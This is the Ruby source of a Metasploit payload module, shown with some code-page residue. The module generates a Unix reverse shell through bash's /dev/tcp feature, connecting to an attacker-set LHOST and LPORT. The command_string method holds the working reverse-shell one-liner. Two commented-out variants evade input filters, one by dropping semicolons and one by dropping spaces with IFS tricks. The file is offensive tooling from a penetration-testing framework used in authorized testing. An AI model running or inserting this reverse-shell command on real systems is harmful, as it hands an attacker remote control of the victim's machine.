66 lines
2.0 KiB
Ruby
66 lines
2.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = :dynamic
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Unix Command Shell, Reverse TCP (/dev/tcp)',
|
|
'Description' => %q{
|
|
Creates an interactive shell via bash's builtin /dev/tcp.
|
|
|
|
This will not work on circa 2009 and older Debian-based Linux
|
|
distributions (including Ubuntu) because they compile bash
|
|
without the /dev/tcp feature.
|
|
},
|
|
'Author' => 'hdm',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
'PayloadType' => 'cmd_bash',
|
|
'RequiredCmd' => 'bash-tcp',
|
|
'Payload' =>
|
|
{
|
|
'Offsets' => { },
|
|
'Payload' => ''
|
|
}
|
|
))
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash']),
|
|
OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
|
|
]
|
|
)
|
|
end
|
|
|
|
#
|
|
# Constructs the payload
|
|
#
|
|
def generate(_opts = {})
|
|
vprint_good(command_string)
|
|
return super + command_string
|
|
end
|
|
|
|
#
|
|
# Returns the command string to use for execution
|
|
#
|
|
def command_string
|
|
fd = rand(200) + 20
|
|
return "#{datastore['BashPath']} -c '0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};#{datastore['ShellPath']} <&#{fd} >&#{fd} 2>&#{fd}'";
|
|
# same thing, no semicolons
|
|
#return "/bin/bash #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} <&#{fd} >&#{fd}"
|
|
# same thing, no spaces
|
|
#return "s=${IFS:0:1};eval$s\"bash${s}#{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']}$s<&#{fd}$s>&#{fd}&\""
|
|
end
|
|
end
|